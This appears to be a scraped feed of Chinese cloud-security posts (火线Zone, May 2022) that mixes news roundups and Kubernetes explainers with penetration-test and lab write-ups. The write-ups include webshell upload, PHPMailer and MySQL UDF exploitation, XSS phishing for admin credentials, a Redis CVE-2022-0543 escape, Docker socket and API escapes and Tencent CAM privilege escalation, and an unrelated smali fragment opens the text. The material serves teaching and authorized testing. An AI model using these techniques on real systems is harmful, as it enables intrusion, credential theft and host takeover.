.prologue .line 29 invoke-static {}, Lcom/google/youngandroid/runtime;->setThisForm()V sget-object v0, Lcom/google/youngandroid/runtime;->yail$Mnequal$Qu:Lgnu/expr/ModuleMethod; sget-object v1, Lappinventor/ai_test/guess/S
2022年5月16日 18:01火线zone
随着业务的不断上云,安全攻防的主战场也逐渐转移到云上,云环境下产生新型安全攻防技术,火线云安全研究团队与火线Zone云安全社区将近年来在云安全方向的深入研究整理成册,以促进在云安全领域的安全攻防技术发展。
多云环境攻防矩阵
以攻击者视角对主流公有云进行计算环境、云产品等进行深入研究,形成全视角的云安全攻防全景图。
据统计80%以上的企业在真实环境下使用多云产品构建业务,该矩阵首次展示在多个云环境由于租户错误配置存在的安全威胁,促进企业提升云环境安全水平,保护业务资产安全性。
cloudsec.huoxian.cn
首个开源云环境攻防靶场
TerraformGoat是火线安全开源的云产品漏洞靶场,使用TerraformGoat可以快速在阿里云、腾讯云、华为云、Amazon Web Services、Google Cloud Platform、Microsoft Azure等多个云环境构建错误配置导致的漏洞靶场,快速学习由于错误配置导致的云产品安全风险。
https://github.com/HuoCorp/TerraformGoat
最前沿的云安全攻防技术
根据丰富的云上攻防实践经验,以实战攻击者视角出发,总结覆盖多云环境的技术研究成果,持续更新最新云安全攻防技术期刊,本次推出首期刊物。
配套技术资料及工具
从攻防矩阵标准、攻防实验靶场到前沿的技术期刊,可以帮助企业就相关研究人员快速学习云安全攻防技术。
*412页 + 60000余字技术干货*
完整资料期待您的申请,长按下方二维码免费领取《云安全攻防技术期刊 2022 第一期》及《火线云安全攻防评估技术白皮书》
数量有限,先到先得~
【火线Zone云安全社区群】
进群可以与技术大佬互相交流
进群有机会免费领取节假日礼品
进群可以免费观看技术分享直播
识别二维码回复【社区群】进群
2022年5月16日 15:31火线zone
0x01 LB
Azure 负载均衡器在开放式系统互连 (OSI) 模型的第 4 层上运行,它是客户端的单一联系点。
负载均衡器将抵达负载均衡器前端的入站流分配到后端池实例,这些流取决于配置的负载均衡规则和运行状况探测,后端池实例可以是 Azure 虚拟机,或虚拟机规模集中的实例。
影响
创建负载均衡器资源
az network lb create --resource-group Test --name MyLB --sku Standard --public-ip-address Myip --frontend-ip-name myfront --backend-pool-name myback 创建公共负载均衡器,命名为MyLB,前端池命名为myfront,后端池子命名为myback,与上一步创建的公共ip地址Myip关联
创建运行状况检测
az network lb probe create --resource-group Test --lb-name MyLB --name MyPROBE --protocol tcp --port 80 命名为MyPROBE,协议为tcp,监视端口为80
创建负载均衡器规则
az network lb rule create --resource-group Test --lb-name MyLB --name myHTTPRule --protocol tcp --frontend-port 80 --backend-port 80 --frontend-ip-name myfront --backend-pool-name myback --disable-outbound-snat true --idle-timeout 15 --enable-tcp-reset true 命名为myHTTPRule,对前端池myfront中的端口80进行监听,使用端口80将负载均衡的网络流量发送到后端池myback,协议为tcp,空闲超时15分钟,启用tcp重置
将虚拟机添加到负载均衡器后端池
array=(myNicVM1 myNicVM2) for vmnic in "${array[@]}" do az network nic ip-config address-pool add \ --address-pool myBackendPool \ --ip-config
2022年5月16日 11:31火线zone
Kubernetes 安全
https://zone.huoxian.cn/d/1175-kubernetes
云安全书籍推荐必读榜
https://mp.weixin.qq.com/s/D6Z-x9nTlnnsEQpQQ3NTrw
云上攻防二三事
http://avfisher.win/archives/1331
图解 Kubernetes Pod 如何获取 IP 地址
https://mp.weixin.qq.com/s/LSsiEeZjBYPV1C--EwRRWw
如何编译 Istio?
https://jimmysong.io/blog/how-to-build-istio/
如何消除Kubernetes中的证书错误配置?
https://securityboulevard.com/2022/05/how-to-eliminate-certificate-misconfiguration-in-kubernetes/
2022 年亚洲 BlackHat 大会的趋势--Kubernetes、云安全等
https://sysdig.com/blog/blackhat-asia-2022-trends/
查看历史云安全技术资讯可以访问:
https://cloudsec.huoxian.cn/docs/information
2022年5月14日 14:31火线zone
前言
刚过完年的时候在补天社区看到了这篇文章 记一次渗透实战-代码审计到getshell
通过搜索发现对应的是 冰心网络验证 http://wlyz.bingxs.com/ 于是尝试在本地进行安装进行审计
下载安装包 https://teorun.lanzout.com/izfhne
下载安装后,我们看到如果利用 phpstudy 设定域名,或者非 127.0.0.1 的 ip 地址时均需要进行授权
具体的校验,我们可以查看代码 index.php 中包含了 core/common.php
core/common.php 被进行了加密,猜测是当设定了域名或者 127.0.0.1 的 ip 时,就向官网进行授权验证,所以既可以通过 127.0.0.1 来进行分析,也可以通过屏蔽 host 来实现绕过。
继续进行分析时,发现部分代码进行了加密 core/lib/Db.php
新学到的知识点,通过动态调试来获取文件代码(只在 vscode 上执行成功,phpstom 上会提示 Cannot find a local copy of the file on server 就是本地文件与远程文件不匹配)
我们找到调用加密文件的位置
app\admin\controller\Home.php
管理员登录的地方会调用 core/lib/Db.php 文件,添加断点,启动调试,然后管理员登录
程序执行到断点位置后,单步调试进入程序内部,发现会生成临时文件,将文件进行了解密
如此可以得出所有文件
在线格式化 http://dezend.qiling.org/format/
同时也可以通过这种方法,获取文件的源代码
将文件中的 eval 替换为 echo
将获取的数值替换后半部分,同时 eval 再次替换为 echo
查看网页源代码就获取了文件的代码
根据解密过程写一个解密脚本
import os import re filename = "index.php" with open(filename, 'r') as read_file: contents = read_file.read() decode_content = contents.replace("eval","echo") with open(filename,'w') as write_file: write_file.write(decode_content) 
2022年5月13日 21:01火线zone
记一次某授权单位的"丝滑"渗透
前言
接到某单位的渗透测试,纯黑盒的渗透测试,没有给资产信息和资产列表,,,,
信息搜集
直接百度搜索公司找到官网,并没有发现有用的信息,只通过查找子域名,解析一下ip,直接扫描c段,扫描端口,web服务开放的端口
有后台,但是没有前端,到这里不确定是不是该公司的资产,但是乌拉哇的一波操作之后并没有找到其它可以利用的地方,官网是在是没有什么可以利用姿势,,,,但是只是后台并没有账号和密码,尝试一下爆破依旧无果,这个时候在官网看到单位邮箱
类似于个人邮箱,但是不确定,爆破一下管理员账号密码没有用,直接拿邮箱的zxx上,依旧没有密码,直接想着自己生成字典,尝试一下
https://www.ddosi.org/pass8/
直接爆破,比较有意思的是,竟然有密码,直接登录
内容管理这一块儿可以确定是甲方资产了,有指纹,真是让人惊喜意外,直接google搜索源码直接审计
审计上传点儿
导入maven项目,本地部署,令人无语的地方在环境搭建,有docker环境的话直接审还是比较舒服的,fortify扫描,确实有点慢
根据扫描结果,分析代码位置
xxxxx\ofcms-admin\src\main\java\com\ofsoft\cms\admin\controller\cms\TemplateController.java
控制层后端功能点儿模板文件,构造数据包,下断点
函数
类file.java中的file方法先初始化获取pathname,后对路径无过滤
在28行向下开始获取到文件名以及文件内容
26行结束时文件已写入,test..html文件名写错了,请忽略不计。
成功写入,接下来就尝试写入jsp文件且需要jsp文件被解析才能使用,但是经过测试该路径下的文件无法访问,那么需要判断文件上传的路径能不能可控
这里在56行的时候直接拼接了url,所以这里可以确定参数dirs这里的路径也是可以可控的,同样在44行的方法中调用了类file的方法,filename也是可控的,经过测试可以判断在路径static下的jsp能够被解析,上传文件的时候需要对webshell进行编码
访问之后冰蝎连接
利用
构造数据包进行上传,这里有一点儿就是路径猜测的问题,因为上面分析到后面的绝对路径,但是文件目录结构跟本地搭还是有点儿不同,所以上传的时候多做测试即可。
http://xxxxxxxxxxxxxxxxxxxx
2022年5月13日 17:01火线zone
上篇翻译文章介绍了kubernetes,这篇文章介绍了kubernetes的安全性
https://www.tigera.io/learn/guides/kubernetes-security/
Kubernetes 安全风险
受损图像和图像注册表
为确保映像的安全性,组织应实施强有力的治理策略,以确保映像安全地构建并存储在受信任的注册表中。例如,组织应确保使用预先批准的安全基础镜像构建容器镜像,并定期扫描这些镜像以查找问题和漏洞。
组织应通过创建允许使用的图像注册表列表来标准化注册表。在用于在 Kubernetes 集群中创建容器之前,应始终扫描图像,以避免篡改。
受损容器或恶意流量
作为正常操作的一部分,容器和 Pod 需要相互通信。但是,这种通信可以被威胁参与者利用。被破坏的容器可能会影响其他容器和 pod。
为确保通信安全,组织应制定网络策略,将通信限制在工作负载正常运行所需的最低限度。这包括集群内的南北向流量(入口/出口流量)和东西向流量。网络策略应自动调整,以确保它们不会损害生产力。
缺乏能见度
可见性对于确保维护安全至关重要。但是,在复杂的分布式容器化环境中实现可见性可能具有挑战性。
可能有大量容器被调度、部署和终止——所有这些都需要被跟踪、监控和管理。
容器化工作负载的分布式和动态特性使得收集、跟踪和理解相关指标变得困难。
Kubernetes 可以部署在多云或混合云环境中。每个云供应商都提供自己的监控和可见性工具,因此很难实现跨环境的一致可见性。
在没有可见性的情况下保护应用程序可能很困难,甚至是不可能的。如果没有可见性,就不可能在威胁者利用它们之前检测到关键漏洞或发现错误配置。可见性对于在运行时监控容器以检测攻击以及跟踪不再使用的容器以便在它们成为责任之前适当地淘汰它们也至关重要。
不安全的默认配置
Kubernetes 旨在加快应用程序的部署并简化操作和管理。虽然 Kubernetes 提供了广泛的控件来帮助组织有效地保护集群和应用程序,但它并没有提供开箱即用的安全配置。
例如,Kubernetes 网络策略的行为类似于防火墙规则,控制 pod 如何相互通信以及与其他端点通信。一旦为 Pod 分配了网络策略,它就只能与网络策略中声明的资产进行通信。但是,Kubernetes 默认情况下不会将网络策略应用于 pod。这意味着在部署后,所有 pod 都可以与 Kubernetes 环境中的所有其
2022年5月13日 16:31火线zone
Raven: 2 ~ VulnHub
信息收集
Nmap扫端口
80端口信息
一个.DS_Store文件泄露(好像没什么用)、一个vendor文件夹和一个登陆后台页面
PATH中找到了flag1,同时还得到了整个网站搭建在var/www/html下
PHP版本5.2.16
又看了看SECURITY.md文件,发现里面记录了PHP各个版本的漏洞情况,拿去翻译了一下,只有第一个漏洞符合现在的PHP版本
百度一下这个漏洞是什么,好家伙正好还是关于这个CMS的漏洞,看了看漏洞复现,用kali查找关于这个漏洞的exp
PHPMailer漏洞利用
KALI搜寻关于这个漏洞的exp,选择PHPMailer小于5.2.18的,这里我选择了py脚本,也就是40974.py
接着将里面的py脚本复制下来保存,记得要改payload中的IP,一个攻击目标,一个本地监听,还要记得后门的文件名
然后按照他说的方法进行操作
这里试了很久这个脚本都没运行成功,查了一下wp发现原来target是contact.php文件,也没有人说原因,不太懂
还有后面的后面路径要改成var/www/html,忽略了这一点。。
但是还有一个坑!!还不能使用默认的后门名,必须要自己改名字,无语了
终于可以了,交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
翻了翻目录,看到一个wp-config.php,果然有数据库的账号密码
连接mysql
mysql -u root -p R@v3nSecurity
MYSQL——UDF提权
因为我是根据mysql提权来找的靶机,所以第一时间就想到了UDF提权,作弊了
看了看使用方法这里说要先编译,那就在本地编译之后上传上去,使用scp上传
scp root@192.168.200.6:/root/raptor_udf2.so /var/www/html
上传了之后还是使用下面的命令,因为上面的exp路径不一样
use mysql; create table foo(line blob); insert into foo values(load_file('/var/www/html/raptor_udf2.so')); select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so'; c
2022年5月13日 11:31火线zone
如何保证Kubernetes中部署的安全?
https://mp.weixin.qq.com/s/roZE18dCoepqmwjRucQqZg
用无文件的恶意软件破坏只读容器
https://zone.huoxian.cn/d/1168
初识Kubernetes 集群
https://zone.huoxian.cn/d/1169-kubernetes
虚拟机和容器的区别
https://www.trendmicro.com/en_us/devops/22/e/the-difference-between-virtual-machines-and-containers.html
调试 k8s 过程中遇到的 5 个问题
https://containerjournal.com/features/top-5-frustrations-with-debugging-kubernetes/
GitOps:安全、合规和弹性的左移
https://containerjournal.com/features/gitops-security-compliance-and-resilience-shift-left/
查看历史云安全技术资讯可以访问:
https://cloudsec.huoxian.cn/docs/information
2022年5月13日 11:01火线zone
简介
网络爬虫一直以来是让网站维护人员头痛的事情,即要为搜索引擎开方便之门,提升网站排名、广告引入等,又要面对恶意爬虫做出应对措施,避免数据被非法获取,甚至出售。因此促生出爬虫和反爬虫这场旷日持久的战斗。
爬虫的开发从最初的简单脚本到PhantomJs、selenium再进化到puppeteer、playwright等,和浏览器结合越来越密切。
反爬虫的手段从ua、Header检测到IP频率检测再到网站重构、验证码、JS加密等,手段越来越多样。
下表是爬虫攻防手段发展一个简单的对比
反爬虫的手段到现在已经成体系化了,访问令牌(身份认证)、验证码(滑动、逻辑、三维等)、行为&指纹检测(人机区分)、请求&响应加密等。所有这些功能的实现都是依靠前端JS代码,对于攻击者,如何去绕过反爬虫手段,分析前端JS代码就成为了必经之路。那么JS如何不被破解,也成为了反爬虫的关键。
本文只探讨JS如何防破解,其它反爬虫手段不展开讨论
JS防破解
JS防破解主要客户分为两个部分:代码混淆和反调试。
代码混淆
从代码布局、数据、控制三个方面入手,进行混淆。
布局混淆
常见手段有无效代码删除,常量名、变量名、函数名等标识符混淆等。
无效代码删除
注释文本对于理解代码逻辑有很多帮助,生产环境需要删除。
调试信息对于开发者调试Bug有很大的帮助,生产环境需要删除。
无用函数和数据需要删除,避免攻击者能够猜到开发者意图,和垃圾代码添加不同。
缩进、换行符删除,减小代码体积,增加阅读难度。
标识符重命名
单字母。还可以是aa、a1等,需要注意避免作用域内标识符冲突。
var animal = 'shark' //源代码 var a = 'shark' //重命名
十六进制。
var animal = 'shark' //源代码 var _0x616e696d616c = 'shark' //重命名


使用十六进制重命名可以衍生到其它方法,但重命名最重要的还要**使用简短的字符替换所有的标识符,并且作用域内不碰撞,不同作用域尽量碰撞**。 这种重命名方式对于常量同样有效。 ```js var _$Qo = window , _$Q0 = String, _$Q0O = Array, _$QO = document, _$$Q0O = Date ``` 变量名不同作用碰撞。函数名和函数局部变量碰撞,不用函数内局部变量碰撞,全局变量和局部变量碰撞等等
2022年5月12日 17:32火线zone
要想玩儿的转,首先得突破固化的思维,当渗透作为固化的思考方式的时候,很难有所突破,固化的姿势加上灵活的思路才有得玩儿。从利用模拟钓鱼来进行信息搜集,最后实现权限获取
信息搜集
探测目标ip地址,用什么工具都可以,看自己兴趣
netdiscover -n 192.168.0.105/24
扫描端口
nmap -A -p- 192.168.0.103
思路
就这种BC的套路,22端口爆破的几率不大,80端口访问一下,发现是登陆页面,这个登录页面,没有cms类型识别,但是能注册
注册账号登录
在框内输入内容之后然后会进行跳转,类似于csrf操作。但是如果访问
直接跳转百度,闭合标签,构造payload,反射型xss
1'></a><script>alert(1)</script>
这个时候以为春天来了,难不成弹cookie然后admin登录么
1'></a><script>alert(document.cookie)</script>
也是想多了。这个cookie是自己的,不是BJ给的。
那么这里想要怎么去利用这个漏洞呢,其实上面的提示已经提示
Please submit your link so that we can get started. All links will be reviewed by our admin
这个时候思路需要广,构造钓鱼页面,等待系统给我们admin的密码,构造登录页面,自动跳转到登录界面,构造两个页面一个首页一个钓鱼页面
fish.html
<!DOCTYPE html> <html> <!-- author:Ggoodstudy--> <body> <script> if(window.opener) window.opener.parent.location.replace('http://192.168.0.105:4444/index.html'); if(window.opener!= window) window.opener.parent.location.replace('http://192.168.0.105:4444/index.html'); </script> </body> </html>
index.html
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Log
2022年5月12日 17:02火线zone
初识Kubernetes 集群
要搭建k8s集群,从了解开始
原文链接:https://kubernetes.io/docs/concepts/overview/components/
什么叫Kubernetes
Kubernetes (K8s) 集群是一组节点,它们以高效、自动化、分布式和可扩展的方式运行容器化应用程序。K8s 集群允许工程师跨多个物理、虚拟和云服务器编排和监控容器。这将容器与底层硬件层分离,并实现敏捷和健壮的部署。一个 Kubernetes 集群由一组工作机器组成,称为节点,运行容器化应用程序。每个集群至少有一个工作节点,工作节点托管豆荚它们是应用程序工作负载的组成部分。这 控制平面管理集群中的工作节点和 Pod。在生产环境中,控制平面通常跨多台计算机运行,集群通常运行多个节点,提供容错和高可用性。
Kubernetes的组件
控制平面组件
控制平面的组件对集群做出全局决策(例如,调度),以及检测和响应集群事件。
控制平面组件可以在集群中的任何机器上运行。但是,为简单起见,设置脚本通常在同一台机器上启动所有控制平面组件,并且不在这台机器上运行用户容器。
kube-apiserver
API 服务器是 Kubernetes 的一个组件控制平面公开 Kubernetes API。API 服务器是 Kubernetes 控制平面的前端。
Kubernetes API 服务器的主要实现是kube-apiserver。kube-apiserver 旨在水平扩展——也就是说,它通过部署更多实例来扩展。可以运行多个 kube-apiserver 实例并平衡这些实例之间的流量。
etcd
一致且高度可用的键值存储,用作 Kubernetes 的所有集群数据的后备存储。
kube-scheduler
监视新创建的控制平面组件豆荚没有分配节点,并选择一个节点让它们运行。
调度决策考虑的因素包括:个人和集体资源要求、硬件/软件/策略约束、亲和性和反亲和性规范、数据局部性、工作负载间干扰和截止日期。
云控制器管理器
一个 Kubernetes控制平面嵌入云特定控制逻辑的组件。云控制器管理器允许您将集群链接到云提供商的 API,并将与该云平台交互的组件与仅与您的集群交互的组件分开。
cloud-controller-manager 仅运行特定于您的云提供商的控制器。如果您在自己的场所运行 Kubernetes,或者在您
2022年5月12日 15:02火线zone
容器在普通主机上提供了一些无法简单获得的安全功能,其中之一是使容器的根文件系统为只读的能力。通过使文件系统不能被改变,它可以防止攻击者将他们的恶意软件可执行文件写入磁盘。大多数攻击都依靠写入文件来入侵,但复杂的案件使用无文件的恶意软件作为其恶意行为的一部分。防止合法应用程序受到影响也很重要,所以必须采取一些措施。
很多人认为只读文件系统是阻止容器环境中恶意活动和容器漂移的万能工具。本博客将探讨恶意软件无文件执行在攻击只读容器化环境中的机制和普遍性。
根据BridgeCrew的Kubernetes文档:
"使用不可变的根文件系统和经过验证的启动机制,可以防止攻击者通过永久性的本地更改来'拥有'机器。不可变的根文件系统还可以防止恶意的二进制文件写入主机系统"。
我们将展示一种攻击具有只读根文件系统的容器的方法,我们发现用在内存中执行的无文件恶意软件来攻击内存中的数据存储是很合适的。让我们开始吧!
设置场景
我们的目标环境是一个有漏洞的、最小的(coreutils + redis)Redis Docker镜像(vulhub/redis:5.0.7),确保传递--read-only标志以确保我们在攻击中保持无文件状态。
在Kubernetes上,这可以通过spec:containers:securityContext:readOnlyRootFilesystem:true来设置。
问题中的Redis服务存在CVE-2022-0543的漏洞,这是一个Lua沙盒逃逸。根据CVSS系统,它的严重程度为10.0分,即CRITICAL等级。
要了解更多关于漏洞评分的计算方法,漏洞评分会欺骗你吗?了解CVSS的严重性并有效使用它们。
Redis通过'eval'命令提供了在服务器端评估Lua脚本的能力。CVE-2022-0543允许攻击者逃脱Lua代码通常在其中执行的沙盒,这使得直接在主机上执行shell命令变得很容易。当攻击者加载liblua5.1.so.0共享对象文件(存在于Redis主机文件系统中)时,Lua沙盒逃逸被执行,从而获得对主机的访问权。
CVE-2022-0543附带一个概念验证(PoC)漏洞,我们将通过redis-cli测试。
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); l
2022年5月12日 11:32火线zone
腾讯云 CLB、VPC 和 CAM 服务攻防
https://zone.huoxian.cn/d/1162-clbvpc-cam
Docker 背后的 runc 技术剖析
https://blog.quarkslab.com/digging-into-runtimes-runc.html
如何确保有状态 Kubernetes 的稳定性
https://mp.weixin.qq.com/s/XgrZukn87Sovuv7bPoS_eA
一文了解Istio外部授权
https://mp.weixin.qq.com/s/eZpV22NRIn_dt4UL1SmJ8A
事后向云账户添加防护措施
https://www.trendmicro.com/en_us/devops/22/e/cloud-configuration-management-guardrails.html
Docker Linux 桌面版来了
https://www.zdnet.com/article/docker-desktop-for-linux-finally-arrives/#ftag=RSSbaffb68
如何保护您的AWS EC2实例元数据服务的安全
https://news.sophos.com/en-us/2022/05/09/how-to-secure-your-aws-ec2-instance-metadata-service-imds/
评估云计算应用风险的方法
https://insights.sei.cmu.edu/blog/a-method-for-assessing-cloud-adoption-risks/
2022年5月12日 11:32火线zone
前言
Docker Daemon把服务暴露在tcp的2375端口上,常见docker端口包括:
2375:未加密的docker socket,远程root无密码访问主机2376:tls加密套接字,很可能这是您的CI服务器4243端口作为https 443端口的修改2377:群集模式套接字,适用于群集管理器,不适用于docker客户端5000:docker注册服务4789和7946:覆盖网络
漏洞介绍
Docker Daemon把服务暴露在tcp的2375端口上,这样就可以在网络上操作Docker了。Docker本身没有身份认证的功能,只要网络上能访问到服务端口,就可以操作Docker。与上面的docker.sock文件利用类似。
可以通过docker客户端的-H参数连接并控制目标暴露的2375端口服务:
-H, --host list Daemon socket(s) to connect to
fofa指纹:app="docker-Daemon"
但会遇到本地docker client与目标docker server版本不兼容的问题,造成无法正常连接:
可以使用python库进行docker连接控制。
漏洞利用
cdk关于该漏洞的exp
攻击Docker API 2375未授权访问漏洞,控制宿主机的dockerd创建一个新容器,并挂在宿主机根目录/到容器内部/host,然后执行用户输入的指令来篡改宿主机的文件,比如可以写/etc/crontab来搞定宿主机。
./cdk run docker-api-pwn http://127.0.0.1:2375 "touch /host/tmp/docker-api-pwn"
漏洞复现
以下漏洞复现参考:
Docker API 未授权访问漏洞复现 | LuckySec
http://luckyzmj.cn/posts/a398fa24.html
环境准备
靶机环境:192.168.126.130 (ubuntu)
攻击环境:192.168.126.128 (kali)
在靶机上使用vulhub复现漏洞环境。
vulhub官网地址:https://vulhub.org
cd /vulhub/docker/unauthorized-rce docker-compose build docker-compose up -d
漏洞检测
直接输入地址 http://your-ip:
2022年5月11日 17:32火线zone
一个微信小程序,所有的接口url都是一样的,通过post体中的一个字段来判断行为
url都是:
https://xxxxx.cn/gateway/link.do

这些接口都需要data_digest做校验,类似sign值的作用,修改请求后就会校验失败
这个值怎么算的呢:
先把小程序代码拿下来,搜索data_digest

然后顺着往上找,b方法是自己实现的,详细下面说明

实际上g是下面的值(通过我打码的几个参数与抓包的请求比较),上面这个应该是测试环境或者开发环境

上面截图说的 b = new c.default.MD5().b64
看data_digist的值,有“/”,肯定不是正经的base64
这个MD5是在一个hashes.js里实现的,b64也是在这里

具体怎么实现的不管了,把相关代码(指存在依赖关系的)拿下来


逻辑是:
我们先把content(来自抓包的参数)与g(来自小程序源码)相加,然后调用b函数即可得到data_digest
可以看到与请求里的data_digest是一样的
2022年5月11日 15:02火线zone
在虚拟机中安装docker环境Vulhub - Docker-Compose file for vulnerability environment
Weblogic
WebLogic是美国Oracle公司出品的一个applicationserver,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
XMLDecoder 反序列化漏洞(CVE-2017-3506 & CVE-2017-10271)
影响版本:Weblogic < 10.3.6
漏洞成因:Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
使用docker搭建环境
浏览器访问:http://127.0.0.1:7001/, 界面上出现Error 404--Not Found,即启动成功。
访问 /wls-wsat/CoordinatorPortType 返回如下页面,则可能存在此漏洞
漏洞不仅存在于 /wls-wsat/CoordinatorPortType 。
只要是在wls-wsat包中的Uri皆受到影响,可以查看web.xml得知所有受到影响的Uri,路径为:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp_WL_internal\wls-wsat\54p17w\war\WEB-INF\web.xml
默认受到影响的Uri如下:
/wls-wsat/CoordinatorPortType /wls-wsat/RegistrationPortTypeRPC /wls-wsat/ParticipantPortType /wls-wsat/RegistrationRequesterPortType /wls-wsat/CoordinatorPortType11 /wls-wsat/RegistrationPortTypeRPC11 /wls-wsat/ParticipantPortType11 /wl
2022年5月11日 12:31火线zone
本文将来看看在攻击者的视角下,如果拿到腾讯云的负载均衡 CLB(Cloud Load Balancer)、私有网络 VPC(Virtual Private Cloud)、访问管理 CAM(Cloud Access Management)服务权限后,能做哪些操作。
0x01 CLB
1、信息收集
在 CLB 中,可以收集到目标 CLB 的 IP 信息、监听器配置信息、重定向配置信息、监控信息、安全组信息、访问日志信息等。

在收集到这些信息后,有助于攻击者更清晰的了解目标,如果拥有对 CLB 的编辑权限,那么攻击者还可以将其进行修改,从而避免上传了 Shell 但是因为负载均衡的存在而连接不上的情况。
2、影响
在 CLB 中,主要的影响在于攻击者可能会恶意修改 CLB 配置,例如修改安全组,将入站规则改成所有 IP 可访问,从而方便自己的攻击;或者修改重定向配置,将目标地址改成恶意地址等等。
0x02 VPC
1、信息收集
在 VPC 中可以收集到目标的网络拓扑信息、网段信息、路由表信息、安全组信息、流日志信息等,其中流日志可以看到弹性网卡的出入 IP 流量信息。
如果知道了网络拓扑和网段信息,则在进行云上内网横向时,可以更加具有针对性;如果知道了流日志信息,则可以根据流量的大小、出入站的流量情况判断出活跃资产以及高价值目标。
2、影响
VPC 的影响也是主要在于攻击者可能会恶意修改 VPC 配置,例如恶意修改安全组、恶意修改路由表、恶意修改云联网等功能,这些功能如果被恶意修改,可能会直接造成目标互联网服务无法访问的影响。
0x03 CAM
1、信息收集
在 CAM 中,攻击者可以看到当前用户的权限、密码规则、登录保持时间、身份安全认证设置,以及当前账号里的用户列表和用户组。
2、权限提升
例如在拿到一个子用户账号,登录到腾讯云后,发现该账号可以查看并编辑 CAM,但是在访问对象存储时提示没有权限。

那么这时,就可以自己给自己授予访问对象存储的权限,从而实现提权。
在腾讯云中,选择 QcloudCOSFullAccess 策略,然后授予给自己即可

再次来到对象存储页面,发现已经有权限了。

或者可以直接修改现有的高权限账号的密码,从而实现权限提升,但这个操作风险比较高,任意被发现。
3、权限维持
在 CAM 中进行权限维持主要有三种方式:一种是创建高权限用户通过控制台访问,一种是创建访问密钥通过命令行访问。
2022年5月11日 11:31火线zone
Docker.sock文件容器逃逸漏洞
https://zone.huoxian.cn/d/1159-dockersock
容器安全的常见风险与防护实践
https://www.aqniu.com/industry/83316.html
Azure Data Factory和Azure Synapse pipelines远程命令执行漏洞
https://mp.weixin.qq.com/s/_6IAu8j9Xw0g53TgdBt18A
AWS RDS 漏洞导致AWS内部服务凭证失效
https://mp.weixin.qq.com/s/llFG9BKoLDSOdJYlDjQkrg
云原生服务风险测绘分析(四):Prometheus
https://mp.weixin.qq.com/s/ATsGMQOzFPEFYamp45euew
MSSQL 读取实例信息
https://wiki.teamssix.com/CloudService/RDS/mssql-bulk-insert.html
红帽加强OpenShift平台的DevSecOps功能
https://containerjournal.com/features/red-hat-strengthens-devsecops-for-openshift-platform/
5个CloudFormation安全提示,将你的AWS安全提升到新的水平
https://bridgecrew.io/blog/advanced-cloudformation-template-security/
2022年5月10日 15:31火线zone
火线Zone社区
火线Zone是[火线安全平台]运营的云安全社区,内容涵盖云计算、云安全、漏洞分析、攻防等热门主题,研究讨论云安全相关技术,助力所有云上用户实现全面的安全防护。
欢迎具备分享和探索精神的云上用户加入火线Zone社区,共建一个云安全优质社区!
投稿方式
进入火线Zone 【https://zone.huoxian.cn/】%3E点击左上方 #发布主题#-> 在文章开头选择#添加标签#
文章发布后,社区管理员将对其进行审核并进行精华优选,请耐心等待审核。
文章稿件支持Markdown格式
投稿要求
原创文章:
以云安全、云原生、容器、微服务、DevOps、Kubernetes、企业最佳实践相关主题为主;渗透测试、红蓝对抗、漏洞分析等可根据文章内容质量审核奖励。
要求:具备原创性,内容具备深度和可读性,文章内容质量高,观点新颖。
分类:请添加官方标签#原创文章#,否则不计入奖励。
翻译文章:
以高质量国外云安全相关主题为主。
要求:文章技术含量高,语句通顺无技术词汇翻译错误,拒绝不经过思考的机器翻译,文章开头或结尾必须备注文章原链接。
分类:请添加官方标签#翻译文章#,否则不计入奖励。
投稿奖励
针对被设为精华的原创文章,给予现金奖励300-500元,同时可获得相应数量的查克拉,视文章类型和质量上下浮动。// 首次被评为精华的原创作者,可获得火线玩偶一个,请联系火线小助手。
针对原创文章,点赞≥10,给予奖励200-500查克拉。
针对被设为精华的翻译文章,给予奖励300-600查克拉,视文章类型和质量上下浮动。
针对翻译文章,点赞≥10,给予奖励200查克拉。
投稿评分标准
文章的深度及广度
文章的完整性和可读性
文章阅读量及优质点赞评论数量
(以5分满分为标准,评分由火线审核进行确认)
奖励发放说明
符合文章激励的内容将会对外发表在【火线Zone】公众号上。
火线Zone中的查克拉奖励不包含Rank奖励,Rank的获取目前只能通过提交有效漏洞获取。
所有奖励每周一进行结算(即本周奖励结算上周的文章),结算完将在火线Zone社区进行结果公示,如有异议请及时联系#火线小助手#。
无异议后将在周二或周三发放奖励至火线安全平台账号内,可进行现金提现或兑换商品。
2022年5月10日 14:31火线zone
前言
docker是C/S架构,输入docker version命令实际上是通过客户端将请求发送到同一台电脑上的Doceker Daemon服务,由Docker Daemon返回信息,客户端收到信息后展示在控制台上。
Doceker Daemon默认监听的是/var/run/docker.sock这个文件,所以docker客户端只要把请求发往这里,daemon就能收到并且做出响应。也就是向/var/run/docker.sock发送请求,也能达到docker ps、docker images ls这样的效果。
漏洞介绍
很多容器启动时,会挂载宿主机的/var/run/docker.sock文件,在容器内部直接与docker守护进程通信进行接口调用。比如kafka的docker-compose.yml就挂载了这个文件。
下面的命令可以达到docker ps同样的结果:
curl -i -s --unix-socket /var/run/docker.sock -X GET http://aaa/containers/json # 其中aaa这个域名无所谓,换成任何都可以,在网上见到的示例为localhost
更多api接口可以查看docker的官方文档:
https://docs.docker.com/engine/api/v1.24/#31-containers
关于/var/run/docker.sock文件的理解可以参考这篇文章:
https://cloud.tencent.com/developer/article/1454335
漏洞利用
cdk关于该漏洞的exp
cdk提供对该漏洞的验证poc和利用exp。
# 本脚本将尝试连接Docker API并回传宿主机的docker运行信息,以检查API是否可用。 ./cdk run docker-sock-check /var/run/docker.sock # 本脚本将控制宿主机的docker进程,拉取指定的后门镜像并运行,运行过程中镜像将宿主机的根目录/挂载到容器内部的/host目录下,便于通过后门容器修改宿主机本地文件(如crontab)来完成逃逸。 ./cdk run docker-sock-pwn /var/run/docker.sock "touch /host/tmp/pwn-success"
漏洞复现
启动一个docker容器,主机的根目录安装
2022年5月10日 11:31火线zone
华为云 ELB、VPC 和 IAM 的信息搜集
